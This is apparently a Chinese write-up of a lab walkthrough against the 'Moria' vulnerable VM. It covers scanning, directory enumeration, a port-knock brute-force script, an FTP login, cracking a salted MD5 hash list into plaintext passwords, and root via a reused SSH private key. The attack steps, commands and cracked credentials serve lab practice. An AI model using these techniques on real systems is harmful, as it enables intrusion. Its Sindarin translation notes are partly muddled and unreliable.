一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.27 -A
二、进行目录枚举
dirb http://192.168.10.27
扫除一个w目录
dirsearch -u http://192.168.10.27
三、进入网页
Eere is written in the Feänorian characters according to the mode of Beleriand: Ennyn Durin Aran
Moria: pedo mellon a minno. Im Marvi hain ech-ant: Celebrimboro Cregion teithant ithiwhin
门上用贝烈瑞安文字写着:都林之门,摩瑞亚之王。请进,朋友,多多益善。我是马尔维,这些字是凯勒布理鹏所写。
进入w目录
http://192.168.10.27/w/h/i/s/p/e/r/the_abyss/
在这个the_abyss目录来回可以看到不同的信息
其中的一些片段
whisper the_abyss
whisper”是耳语的意思,“the abyss”是深渊
dirsearch -u http://192.168.10.27/w/h/i/s/p/e/r/the_abyss/
四、再次枚举
dirb http://192.168.10.27/w/h/i/s/p/e/r/the_abyss/ -X .txt .img .html .php
发现一个random.txt
还是上面的这些话,前面的ftp无法匿名登录,这里的knock很容易想到端口敲门
使用Wireshark进行抓包,刷新random.txt
根据 TCP 协议规则,当服务器收到客户端发送的 SYN
包(用于尝试建立连接),但目标端口未开放时,会回复 RST, ACK
报文,明确拒绝连接请求。这是 TCP 协议中 “端口未开放时拒绝连接” 的标准行为
RST
标志位表示 “连接重置”,用于立即终止无效或错误的连接尝试。在端口敲⻔场景中,服务器不需要与这些端口建立真实连接,仅需通过回复 RST, ACK
告知客户端连接失败,同时后台记录端口被访问的顺序。
端口敲⻔的关键是按顺序记录端口连接尝试,而非真正建立连接。即使服务器回复 RST, ACK
,客户端仍会按预设顺序继续尝试下一个端口。服务器后台通过监控这些 SYN
请求(即使伴随 RST
回复)的顺序,验证客户端是否知晓正确的 “敲⻔序列”,从而实现安全验证。
可以看到是从77,101,108,111,110,54,57顺序敲击端口
这里可以直接使用knock工具,或者直接一个一个nc,但是有一些情况不知道端口敲门的顺序就可以使用这个脚本
knock -v 192.168.10.27 77 101 108 108 111 110 54 57
nmap -sS -sV -T5 -p- 192.168.10.27 -A
脚本
import itertools
import socket
import time
ports = [77,101,108,108,111,110,54,57]
target_check_port = 22 # 假设敲门成功后开启的端口
target_ip = "192.168.10.27"
def knock(sequence):
for port in sequence:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target_ip, port))
s.close()
except:
pass
time.sleep(1) # 等待服务响应
# 检测目标端口是否开放
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target_ip, target_check_port))
s.close()
print(f"[+] Success! Sequence: {sequence}")
return True
except:
print(f"[-] Failed: {sequence}")
return False
# 生成所有排列组合(3! = 6 种)
for sequence in itertools.permutations(ports):
if knock(sequence):
break
但是这里并不是端口敲门,没有开放的端口
看了一下别的师傅写的wp,这和2025ISCC里的一道校赛Misc题相框里的图片有异曲同工的地方,
Misc的是直接得到图片在属性里找到解压密码,获得
生大 乐后 片旗 片为 生一 土工 没马 呀画 兄刀 乐不 众太 功南 牛群 不老 正丁 为里 地巧 兄贝 贝衣 羊乙 那众 功一 个数 工群
将字转为笔画数
5 3 5 6 4 14 4 4 5 1 3 3 7 3 7 8 5 2 5 4 6 4 5 9 4 13 4 6 5 2 4 7 6 5 5 4 4 6 6 1 6 6 5 1 3 13 3 13
每两个字的笔画数转化为16进制
53 56 4e 44 51 33 73 78 52 54 64 59 4d 46 52 47 65 54 46 61 66 51 3d 3d
再转ASCALL码
SVNDQ3sxRTdYMFRGeTFafQ==
再base64解码
ISCC{1E7X0TFy1Z}
而在这台靶机上这个端口的顺序并不是端口敲门
77 101 108 108 111 110 54 57
77 → M
101 → e
108 → l
108 → l
111 → o
110 → n
54 → 6
57 → 9
得到Mellon69
而在进入网页的那张图片上有这样一句话
Moria: pedo mellon a minno.
莫瑞亚:朋友,我给你开门。
“Moria: pedo mellon a minno.” 是辛达语,出自《指环王》中都林之门(墨瑞亚西门)的设定。这句话的含义为 “墨瑞亚:我,纳维,造了此门” 。
“Moria”:指墨瑞亚(Moria),即矮人城市卡扎督姆(Khazad-dûm),是都林一族矮人居住的地下王国。
“pedo”:意为 “我造了”;
“mellon” 在辛达语中常规含义是 “朋友”,但在此句中结合语境,与矮人工匠 纳维(Narvi) 相关(可能是语言表述或翻译细节处理);
“a minno”:意为 “此门”。
这句话与都林之门的背景相关 —— 这扇门由矮人纳维和精灵凯勒布林博共同打造,此句表明了纳维对门的建造贡献。在《指环王》的情节中,都林之门需要通过特定口令(如 “Mellon”,意为 “朋友”)开启,而这句辛达语则是对门的建造者信息的陈述。
五、FTP登录
可以看到这里有提示Welcome Balrog
┌──(yzy㉿kali)-[~/Desktop]
└─$ ftp 192.168.10.27
Connected to 192.168.10.27.
220 Welcome Balrog!
Name (192.168.10.27:yzy): Balrog
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||62208|).
150 Here comes the directory listing.
drwxr-x--- 2 0 1001 27 Mar 14 2017 .
dr-xr-xr-x 18 0 0 258 Mar 14 2017 ..
-rw-r--r-- 1 0 0 1 Apr 28 2017 .bash_history
226 Directory send OK.
ftp> pwd
Remote directory: /prison
ftp> cd ..
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||14322|).
150 Here comes the directory listing.
lrwxrwxrwx 1 0 0 7 Mar 11 2017 bin -> usr/bin
dr-xr-xr-x 4 0 0 4096 Mar 11 2017 boot
drwxr-xr-x 20 0 0 3160 May 09 20:15 dev
drwxr-xr-x 97 0 0 8192 May 11 09:30 etc
drwxr-x--- 4 0 1003 32 Mar 14 2017 home
lrwxrwxrwx 1 0 0 7 Mar 11 2017 lib -> usr/lib
lrwxrwxrwx 1 0 0 9 Mar 11 2017 lib64 -> usr/lib64
drwxr-xr-x 2 0 0 6 Nov 05 2016 media
drwxr-xr-x 2 0 0 6 Nov 05 2016 mnt
drwxr-xr-x 2 0 0 6 Nov 05 2016 opt
drwxr-x--- 2 0 1001 27 Mar 14 2017 prison
dr-xr-xr-x 112 0 0 0 May 09 20:15 proc
dr-xr-x--- 8 0 0 276 Mar 13 2017 root
drwxr-xr-x 26 0 0 760 May 11 09:30 run
lrwxrwxrwx 1 0 0 8 Mar 11 2017 sbin -> usr/sbin
drwxr-xr-x 2 0 0 6 Nov 05 2016 srv
dr-xr-xr-x 13 0 0 0 May 09 20:15 sys
drwxrwxrwt 9 0 0 250 May 11 10:27 tmp
drwxr-xr-x 13 0 0 155 Mar 11 2017 usr
drwxr-xr-x 21 0 0 4096 May 09 20:15 var
226 Directory send OK.
ftp> cd var
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||39013|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 6 Nov 05 2016 adm
drwxr-xr-x 9 0 0 100 Nov 05 2016 cache
drwxr-xr-x 2 0 0 6 Nov 07 2016 crash
drwxr-xr-x 3 0 0 34 Mar 11 2017 db
drwxr-xr-x 3 0 0 18 Nov 05 2016 empty
drwxr-xr-x 3 0 0 17 Nov 05 2016 ftp
drwxr-xr-x 2 0 0 6 Nov 05 2016 games
drwxr-xr-x 2 0 0 6 Nov 05 2016 gopher
drwxr-xr-x 3 0 0 18 Dec 06 2016 kerberos
drwxr-xr-x 39 0 0 4096 May 09 20:15 lib
drwxr-xr-x 2 0 0 6 Nov 05 2016 local
lrwxrwxrwx 1 0 0 11 Mar 10 2017 lock -> ../run/lock
drwxr-xr-x 11 0 0 4096 May 11 09:39 log
lrwxrwxrwx 1 0 0 10 Mar 11 2017 mail -> spool/mail
drwxr-xr-x 2 0 0 6 Nov 05 2016 nis
drwxr-xr-x 2 0 0 6 Nov 05 2016 opt
drwxr-xr-x 2 0 0 6 Nov 05 2016 preserve
lrwxrwxrwx 1 0 0 6 Mar 10 2017 run -> ../run
drwxr-xr-x 8 0 0 87 Nov 05 2016 spool
drwxrwxrwt 4 0 0 163 May 09 12:15 tmp
drwxr-xr-x 4 0 0 33 Nov 14 2016 www
drwxr-xr-x 2 0 0 6 Nov 05 2016 yp
226 Directory send OK.
ftp> cd www
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||8635|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 6 Nov 14 2016 cgi-bin
drwxr-xr-x 4 0 0 89 Mar 14 2017 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||39483|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 23 Mar 12 2017 QlVraKW4fbIkXau9zkAPNGzviT3UKntl
-r-------- 1 48 48 85 Mar 12 2017 index.php
-r-------- 1 48 48 161595 Mar 11 2017 moria.jpg
drwxr-xr-x 3 0 0 15 Mar 12 2017 w
226 Directory send OK.
一看就是md5,但是还是测一下
hash-identifier
查看网页源代码发现有盐值
md5(md5($p).$s)
(即两次 MD5 哈希并包含盐值)
c2d8960157fc8540f6d5d66594e165e0$6MAp84
727a279d913fba677c490102b135e51e$bQkChe
8c3c3152a5c64ffb683d78efc3520114$HnqeN4
6ba94d6322f53f30aca4f34960203703$e5ad5s
c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP
6a113db1fd25c5501ec3a5936d817c29$cC5nTr
7db5040c351237e8332bfbba757a1019$h8spZR
dd272382909a4f51163c77da6356cc6f$tb9AWe
哈希是动态格式(dynamic_6)
john -form=dynamic_6 pass.txt
得到密码
Balin:flower
Oin:rainbow
Ori:spanky
Maeglin:fuckoff
Fundin:hunter2
Nain:warrior
Dain:abcdef
Thrain:darkness
Telchar:magic
发现只有这一个可以登录
Ori:spanky
试多了就会发现22端口关闭了。。。。。。没快照
六、提权(ssh本地私钥提权)
python -c "import pty; pty.spawn('/bin/bash');"
在Ori用户下进入Ori目录发现有一首诗
┌──(yzy㉿kali)-[~/Desktop]
└─$ ssh [email protected]
The authenticity of host '192.168.10.28 (192.168.10.28)' can't be established.
ED25519 key fingerprint is SHA256:DS0S3vuDtg8fXxM4SuO7swJktN5DRaID2PhoSxZKb90.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:21: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.10.28' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Sun Mar 12 22:57:09 2017
-bash-4.2$ python -c "import pty; pty.spawn('/bin/bash');"
bash-4.2$ ls
poem.txt
bash-4.2$ cd ..
bash-4.2$ ls
abatchy Ori
bash-4.2$ cd Ori
bash-4.2$ ls -la
总用量 8
drwx------ 3 Ori notBalrog 55 3月 12 2017 .
drwxr-x---. 4 root notBalrog 32 3月 14 2017 ..
-rw------- 1 Ori notBalrog 1 3月 14 2017 .bash_history
-rw-r--r-- 1 root root 225 3月 13 2017 poem.txt
drwx------ 2 Ori notBalrog 57 3月 12 2017 .ssh
bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!
诗的内容是
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!
嗬!嗬!嗬!我且向酒瓶投奔,
治愈心伤,淹没伤悲。
风雨或许会飘摇,
前路漫漫仍有万里遥,
我自躺于高树下,
任那流云自逍遥。
附言:墨瑞亚永不陷落!
尝试sudo提权失败,这个Ori用户不能使用sudo
在Ori目录下还看到.ssh,尝试私钥提权
bash-4.2$ ls
id_rsa id_rsa.pub known_hosts
bash-4.2$ cat known_hosts
127.0.0.1 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCuLX/CWxsOhekXJRxQqQH/Yx0SD+XgUpmlmWN1Y8cvmCYJslOh4vE+I6fmMwCdBfi4W061RmFc+vMALlQUYNz0=
这里是127.0.0.1,猜测是root,尝试登录
ssh [email protected] -i id_rsa
提权成功
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论